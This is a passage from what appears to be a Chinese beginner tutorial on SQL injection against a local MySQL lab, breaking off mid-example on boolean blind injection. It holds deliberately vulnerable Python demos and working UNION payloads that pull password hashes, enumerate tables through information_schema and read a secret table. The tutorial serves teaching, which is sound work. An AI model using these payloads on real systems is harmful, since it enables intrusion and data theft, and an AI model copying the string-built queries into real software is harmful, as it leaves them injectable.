<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> row </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> set</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0.00</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sec)</span></span></code></pre></div><h2 id="前置知识" tabindex="-1">前置知识 <a class="header-anchor" href="#前置知识" aria-label="Permalink to "前置知识""></a></h2><p>接着上一节的节奏走,如果我们传入的 <code>username</code> 参数中有单引号会发生什么呢</p><blockquote><p>以下所举的例子都在 MySQL 5.x 版本完成</p></blockquote><p>现在我们传入 <code>Liki4'</code> 这个字符串</p><p><img src="https://cdn.xyxsw.site/boxcn8TrpE02fnPV7dFzkmnHiAe.png" alt=""></p><p>很遗憾,报错了,这个查询因为 SQL 语句存在语法错误而无法完成。</p><p>那么问题来了,怎么让他不报错的情况下完成查询呢?</p><p>在 MySQL 语句中,<code>#</code> 和 <code>--</code> 代表行间注释,与 C 语言的 <code>//</code> 和 Python 中的 <code>#</code> 是同样的意思。也就是说,一个 MySQL 语句中如果存在 <code>#</code> 和 <code>--</code>,那么这一行其后的所有字符都将视为注释,不予执行。</p><p>那如果我们传入 <code>Liki4';#</code> 这个字符串,那么在拼接后的查询又是什么结果呢</p><p><img src="https://cdn.xyxsw.site/boxcnbAKreqEeZxOYQuQMtZbd9d.png" alt=""></p><p>很显然,<code>#</code> 号将原本语句的 <code>';</code> 注释掉了</p><p>而我们传入的字符串构成了全新的语法正确的语句,并完成了一次查询!</p><p>那我们是否可以查询一些...不属于我们自己的信息呢?答案是可以的。</p><p>例如我们传入一个精心构造的字符串</p><p><code>raw_sql_danger' UNION SELECT password FROM users WHERE username = 'Liki5';#</code></p><p><img src="https://cdn.xyxsw.site/boxcniDohuM3F8FbMqz7YSC0Y5g.png" alt=""></p><p><strong>真是惊人的壮举!我完全不认识这个叫 Liki5 的家伙,但我居然知道了他的密码对应的哈希值!</strong></p><p><del>那么到这里 SQL 注入你就已经完全学会了,接下来做一些小练习吧。</del></p><p><del>请挖掘 Django ORM 最新版本的注入漏洞并与我分享,我会请你喝一杯奶茶作为谢礼。</del></p><h2 id="sql-注入入门" tabindex="-1">SQL 注入入门 <a class="header-anchor" href="#sql-注入入门" aria-label="Permalink to "SQL 注入入门""></a></h2><p>接下来的举例几乎都不会以 Web 的形式出现,虽然你去看别的文档都是起个 Web 应用,但我懒</p><p>反正都是一样的东西,是否以 Web 应用的形式没差,请不要来杠</p><h3 id="sql-注入的常见类型" tabindex="-1">SQL 注入的常见类型 <a class="header-anchor" href="#sql-注入的常见类型" aria-label="Permalink to "SQL 注入的常见类型""></a></h3><p>SQL 注入的常见类型分为以下几种,在后面的章节里会慢慢地讲述不同类型的区别和攻击手法</p><p>按照攻击手法来分类可以分为以下几种</p><ol><li>有回显的 SQL 注入</li><li>无回显的 SQL 盲注</li><li>布尔盲注</li><li>时间盲注</li><li>基于报错的 SQL 注入</li><li>堆叠注入</li><li>二次注入</li></ol><p>按照注入点来分类可以分为以下几种</p><ol><li>字符型注入</li><li>数字型注入</li></ol><p>注入点的分类只在于语句构造时微小的区别,因此不作详细的说明</p><p>当然,不同的数据库后端因为其不同的内置函数等差异,有着不同的攻击手法,但都大同小异。</p><p>常见的数据库有下列几个</p><ol><li>MySQL</li><li>MSSQL</li><li>OracleDB</li><li>SQLite</li></ol><p>当然还有一些新兴的<del>前沿科技</del>数据库</p><ol><li>ClickHouse</li><li>PostgreSQL</li></ol><p>还有一些和传统数据库设计理念不一样的 noSQL 数据库</p><ol><li>MongoDB</li><li>AmazonRD</li><li>...</li></ol><p>后续的章节里,会采用入门时最常见的 MySQL 数据库来举例,环境可以用 Docker 简单地创建一个</p><div class="language-yaml vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">yaml</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># docker-compose.yml</span></span>
|
||
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># docker-compose up -d --build</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;">version</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"3.8"</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;">services</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> db</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> image</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">mysql:5.7</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> container_name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"mysql5-docker"</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> command</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">--default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --sql-mode=''</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> ports</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> - </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"3305:3306"</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> environment</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> - </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">MYSQL_ROOT_PASSWORD=TjsDgwGPz5ANbJUU</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> healthcheck</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> test</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: [</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"CMD"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"mysqladmin"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> ,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"ping"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"-h"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"localhost"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">]</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> interval</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">2s</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> timeout</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">5s</span></span>
|
||
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#85E89D;"> retries</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">30</span></span></code></pre></div><h3 id="有回显的-sql-注入" tabindex="-1">有回显的 SQL 注入 <a class="header-anchor" href="#有回显的-sql-注入" aria-label="Permalink to "有回显的 SQL 注入""></a></h3><p>我这里写了一个小 demo 来进行展示,demo 代码如下,为了好看我用 prettytable 格式化了输出</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;">#!/usr/bin/python</span></span>
|
||
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># -*- coding: UTF-8 -*-</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sqlalchemy </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> prettytable </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> from_db_cursor</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">engine </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">max_overflow</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">5</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> query</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(username):</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> with</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> engine.connect() </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">as</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> cur </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con.execute(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">f</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"SELECT * FROM users WHERE username = '</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">username</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">).cursor</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> x </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> from_db_cursor(cur)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(x) </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># 返回查询的结果</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> input</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Give me your username: "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(query(username))</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> __name__</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "__main__"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> main()</span></span></code></pre></div><p>接下来我们进行一次常规查询</p><p><img src="https://cdn.xyxsw.site/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png" alt=""></p><p>可以看到我们成功从数据库中查出了 <code>username</code> 和 <code>password</code>,并显示在返回中</p><p>现在我们构造一些恶意语句,比如 <code>123' UNION SELECT 1, 2;#</code></p><p>现在我们将执行的语句打印出来看看,对代码进行一些小改动</p><div class="language-bash vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">...</span></span>
|
||
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;">def</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> query</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;">username</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> with</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> engine.connect</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">() </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">as</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> con:</span></span>
|
||
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> query_exec</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> f"SELECT * FROM users WHERE username = '{username}'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">query_exec</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> cur</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> con.execute</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;">query_exec</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">.cursor</span></span>
|
||
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> x</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> from_db_cursor</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;">cur</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">x</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">...</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnbaW15gnJc1O9Iv9WXqJxPc.png" alt=""></p><p>可以看到,实际执行的语句为</p><div class="language-sql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">sql</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">SELECT</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> *</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> FROM</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">WHERE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> '123'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> UNION</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> SELECT</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">2</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">;#</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'</span></span></code></pre></div><p>也就是说,在这个 demo 中,从数据库查询的内容会直接返回给用户,用户可以直接看到查询的内容</p><p>那我们是否可以进行一些其他的查询呢</p><p>构造语句 <code>123' UNION SELECT DATABASE(), @@version;#</code></p><p><img src="https://cdn.xyxsw.site/boxcnDeDp5yPE7W4KX9ByBl9ovh.png" alt=""></p><p>我们就能看到返回中包含了当前数据库名与当前数据库版本</p><p>如果数据库中除了 <code>users</code> 表还有其他的东西,我们是否能通过这个注入来获取呢...</p><p>构造语句 <code>123' UNION SELECT table_name, column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE();#</code></p><blockquote><p><code>information_schema</code> 库是一个 MySQL 内置数据库,储存了数据库中的一些基本信息,比如数据库名,表名,列名等一系列关键数据,SQL 注入中可以查询该库来获取数据库中的敏感信息。</p></blockquote><p><img src="https://cdn.xyxsw.site/boxcnkwvSnhKBhlHNLOSthgul9d.png" alt=""></p><p>我们可以发现,当前数据库中还存在一张叫 <code>secret</code> 的表,让我们偷看一下里面存的是什么</p><p>构造语句 <code>123' UNION SELECT 1, secret_string FROM secret;#</code></p><p><img src="https://cdn.xyxsw.site/boxcn3kfhJ79ByNML2Z1Q1MwRye.png" alt=""></p><p>好像得到了什么不得了的秘密 😃</p><h3 id="无回显的-sql-盲注" tabindex="-1">无回显的 SQL 盲注 <a class="header-anchor" href="#无回显的-sql-盲注" aria-label="Permalink to "无回显的 SQL 盲注""></a></h3><h4 id="布尔盲注" tabindex="-1">布尔盲注 <a class="header-anchor" href="#布尔盲注" aria-label="Permalink to "布尔盲注""></a></h4><p>我们对有回显的 SQL 注入的 demo 进行一点修改,代码如下</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;">#!/usr/bin/python</span></span>
|
||
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># -*- coding: UTF-8 -*-</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sqlalchemy </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> hashlib </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sha256</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">engine </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">max_overflow</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">5</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> query</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(username, password):</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> with</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> engine.connect() </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">as</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> query_exec </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> f</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"SELECT password FROM users WHERE username = '</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">username</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(query_exec)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con.execute(query_exec).scalar():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> passhash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con.execute(query_exec).fetchone()[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">]</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> passhash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">==</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sha256(password.encode()).hexdigest()</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> False</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> input</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Give me your username: "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> password </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> input</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Give me your password: "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Login success"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> query(username, password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">else</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "Login failed"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"> # 不再显示查询结果,而返回 success 或 failed</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> __name__</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "__main__"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> main()</span></span></code></pre></div><p>这样一来我们就只能知道自己是否登录成功,并不能看到查询返回的结果了</p><p><img src="https://cdn.xyxsw.site/boxcn2seUNESHkLC9PYvDp0vFbe.png" alt=""></p><p>那也就是说,我们无法直观地查看数据库中的数据了,即便查出了不该查的也看不到了 😦</p><p>那有没有什么办法击破这个限制呢?是时候该本章的主角,布尔盲注出场了</p><p>观察程序的逻辑,如果查询特定用户的密码与用户的输入匹配,则登陆成功,否则登陆失败</p><p>我们是否能控制语句是否将对应用户的密码查询出来呢?</p><p>在 MySQL 中有一种格式为 <code>if(expression, if_true, if_false)</code> 的分支语句</p><p>类比 Python 则可以写成</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> (expression):</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> if_true</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
